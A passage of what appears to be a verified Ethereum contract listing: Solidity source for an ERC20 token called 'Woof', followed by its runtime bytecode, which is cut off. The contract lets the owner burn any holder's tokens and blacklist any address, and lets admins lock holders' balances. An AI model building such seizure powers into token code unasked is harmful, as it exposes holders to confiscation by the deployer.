}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Woof is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
struct lockDetail{
uint256 amountToken;
uint256 lockUntil;
}
mapping (address => uint256) private _balances;
mapping (address => bool) private _blacklist;
mapping (address => bool) private _isAdmin;
mapping (address => lockDetail) private _lockInfo;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event PutToBlacklist(address indexed target, bool indexed status);
event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil);
constructor (string memory name, string memory symbol, uint256 amount) {
_name = name;
_symbol = symbol;
_setupDecimals(18);
address msgSender = _msgSender();
_owner = msgSender;
_isAdmin[msgSender] = true;
_mint(msgSender, amount);
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function isAdmin(address account) public view returns (bool) {
return _isAdmin[account];
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyAdmin() {
require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function promoteAdmin(address newAdmin) public virtual onlyOwner {
require(_isAdmin[newAdmin] == false, "Ownable: address is already admin");
require(newAdmin != address(0), "Ownable: new admin is the zero address");
_isAdmin[newAdmin] = true;
}
function demoteAdmin(address oldAdmin) public virtual onlyOwner {
require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin");
require(oldAdmin != address(0), "Ownable: old admin is the zero address");
_isAdmin[oldAdmin] = false;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function isBlackList(address account) public view returns (bool) {
return _blacklist[account];
}
function getLockInfo(address account) public view returns (uint256, uint256) {
lockDetail storage sys = _lockInfo[account];
if(block.timestamp > sys.lockUntil){
return (0,0);
}else{
return (
sys.amountToken,
sys.lockUntil
);
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address funder, address spender) public view virtual override returns (uint256) {
return _allowances[funder][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) {
_transfer(_msgSender(), recipient, amount);
_wantLock(recipient, amount, lockUntil);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){
_wantLock(targetaddress, amount, lockUntil);
return true;
}
function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){
_wantUnlock(targetaddress);
return true;
}
function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){
_burn(targetaddress, amount);
return true;
}
function blacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantblacklist(targetaddress);
return true;
}
function unblacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantunblacklist(targetaddress);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
lockDetail storage sys = _lockInfo[sender];
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_blacklist[sender] == false, "ERC20: sender address ");
_beforeTokenTransfer(sender, recipient, amount);
if(sys.amountToken > 0){
if(block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}else{
uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance");
_balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = _balances[sender].add(sys.amountToken);
_balances[recipient] = _balances[recipient].add(amount);
}
}else{
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances");
if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
}
sys.lockUntil = unlockDate;
sys.amountToken = sys.amountToken.add(amountLock);
emit LockUntil(account, sys.amountToken, unlockDate);
}
function _wantUnlock(address account) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
sys.lockUntil = 0;
sys.amountToken = 0;
emit LockUntil(account, 0, 0);
}
function _wantblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == false, "ERC20: Address already in blacklist");
_blacklist[account] = true;
emit PutToBlacklist(account, true);
}
function _wantunblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == true, "ERC20: Address not blacklisted");
_blacklist[account] = false;
emit PutToBlacklist(account, false);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address funder, address spender, uint256 amount) internal virtual {
require(funder != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[funder][spender] = amount;
emit Approval(funder, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de57806395d89b4111610097578063b36d691911610071578063b36d6919146108b2578063dd62ed3e1461090c578063df698fc914610984578063f2fde38b146109c857610173565b806395d89b4114610767578063a457c2d7146107ea578063a9059cbb1461084e57610173565b806370a08231146105aa578063715018a6146106025780637238ccdb1461060c578063787f02331461066b57806384d5d944146106c55780638da5cb5b1461073357610173565b8063313ce56711610130578063313ce567146103b557806339509351146103d65780633d72d6831461043a57806352a97d521461049e578063569abd8d146104f85780635e558d221461053c57610173565b806306fdde0314610178578063095ea7b3146101fb57806318160ddd1461025f57806319f9a20f1461027d57806323b872dd146102d757806324d7806c1461035b575b600080fd5b610180610a0c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c05780820151818401526020810190506101a5565b50505050905090810190601f1680156101ed5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102476004803603604081101561021157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aae565b60405180821515815260200191505060405180910390f35b610267610acc565b6040518082815260200191505060405180910390f35b6102bf6004803603602081101561029357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ad6565b60405180821515815260200191505060405180910390f35b610343600480360360608110156102ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b9a565b60405180821515815260200191505060405180910390f35b61039d6004803603602081101561037157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c73565b60405180821515815260200191505060405180910390f35b6103bd610cc9565b604051808260ff16815260200191505060405180910390f35b610422600480360360408110156103ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ce0565b60405180821515815260200191505060405180910390f35b6104866004803603604081101561045057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d93565b60405180821515815260200191505060405180910390f35b6104e0600480360360208110156104b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e73565b60405180821515815260200191505060405180910390f35b61053a6004803603602081101561050e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f51565b005b6105926004803603606081101561055257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291905050506111a5565b60405180821515815260200191505060405180910390f35b6105ec600480360360208110156105c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061126d565b6040518082815260200191505060405180910390f35b61060a6112b5565b005b61064e6004803603602081101561062257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611440565b604051808381526020018281526020019250505060405180910390f35b6106ad6004803603602081101561068157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114b4565b60405180821515815260200191505060405180910390f35b61071b600480360360608110156106db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050611592565b60405180821515815260200191505060405180910390f35b61073b61166c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61076f611696565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107af578082015181840152602081019050610794565b50505050905090810190601f1680156107dc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6108366004803603604081101561080057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611738565b60405180821515815260200191505060405180910390f35b61089a6004803603604081101561086457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611805565b60405180821515815260200191505060405180910390f35b6108f4600480360360208110156108c857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611823565b60405180821515815260200191505060405180910390f35b61096e6004803603604081101561092257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611879565b6040518082815260200191505060405180910390f35b6109c66004803603602081101561099a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611900565b005b610a0a600480360360208110156109de57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b71565b005b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aa45780601f10610a7957610100808354040283529160200191610aa4565b820191906000526020600020905b815481529060010190602001808311610a8757829003601f168201915b5050505050905090565b6000610ac2610abb611e09565b8484611e11565b6001905092915050565b6000600554905090565b60006001151560026000610ae8611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610b88576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b610b9182612008565b60019050919050565b6000610ba784848461214c565b610c6884610bb3611e09565b610c638560405180606001604052806028815260200161330660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c19611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b611e11565b600190509392505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600860009054906101000a900460ff16905090565b6000610d89610ced611e09565b84610d848560046000610cfe611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b611e11565b6001905092915050565b6000610d9d611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e5f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610e69838361295d565b6001905092915050565b6000610e7d611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f3f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610f4882612b21565b60019050919050565b610f59611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461101b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60001515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146110c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806133e06021913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561114a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806132886026913960400191505060405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600060011515600260006111b7611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611257576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b611262848484612cf1565b600190509392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6112bd611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461137f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000806000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050806001015442111561149f5760008092509250506114af565b8060000154816001015492509250505b915091565b60006114be611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611580576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61158982612f2c565b60019050919050565b600060011515600260006115a4611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611644576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b61165661164f611e09565b858561214c565b611661848484612cf1565b600190509392505050565b6000600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561172e5780601f106117035761010080835404028352916020019161172e565b820191906000526020600020905b81548152906001019060200180831161171157829003601f168201915b5050505050905090565b60006117fb611745611e09565b846117f6856040518060600160405280602581526020016133bb602591396004600061176f611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b611e11565b6001905092915050565b6000611819611812611e09565b848461214c565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611908611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60011515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611a90576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f776e61626c653a2061646472657373206973206e6f742061646d696e00000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611b16576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806132626026913960400191505060405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611b79611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c3b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611cc1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806131d26026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611dff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e97576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806133746024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f1d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806131f86022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156120ee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2043616e2774206c6f636b207a65726f2061646472657373000081525060200191505060405180910390fd5b60008160010181905550600081600001819055506000808373ffffffffffffffffffffffffffffffffffffffff167fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558060405160405180910390a45050565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061334f6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561229b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061316a6023913960400191505060405180910390fd5b60001515600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514612361576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f45524332303a2073656e6465722061646472657373200000000000000000000081525060200191505060405180910390fd5b61236c84848461311a565b6000816000015411156126f15780600101544211156124de5760008160010181905550600081600001819055506124048260405180606001604052806026815260200161323c602691396000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612497826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126ec565b600061254f826000015460405180606001604052806022815260200161321a602291396000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b905061257e8360405180606001604052806026815260200161323c602691398361289d9092919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061261582600001546000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126a8836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b612832565b61275c8260405180606001604052806026815260200161323c602691396000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ef826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b600083831115829061294a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561290f5780820151818401526020810190506128f4565b50505050905090810190601f16801561293c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156129e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061332e6021913960400191505060405180910390fd5b6129ef8260008361311a565b612a5a816040518060600160405280602281526020016131b0602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ab18160055461311f90919063ffffffff16565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612ba7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133986023913960400191505060405180910390fd5b60001515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514612c50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061318d6023913960400191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600115158173ffffffffffffffffffffffffffffffffffffffff167f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c260405160405180910390a350565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612dd7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2043616e2774206c6f636b207a65726f2061646472657373000081525060200191505060405180910390fd5b612dee838260000154611d8190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612e84576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806132ae6030913960400191505060405180910390fd5b60008160010154118015612e9b5750806001015442115b15612eb55760008160010181905550600081600001819055505b818160010181905550612ed5838260000154611d8190919063ffffffff16565b81600001819055508181600001548573ffffffffffffffffffffffffffffffffffffffff167fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558060405160405180910390a450505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612fb2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133986023913960400191505060405180910390fd5b60011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514613078576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2041646472657373206e6f7420626c61636b6c6973746564000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600015158173ffffffffffffffffffffffffffffffffffffffff167f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c260405160405180910390a350565b505050565b600061316183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061289d565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a204164647265737320616c726561647920696e20626c61636b6c69737445524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206c6f636b20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657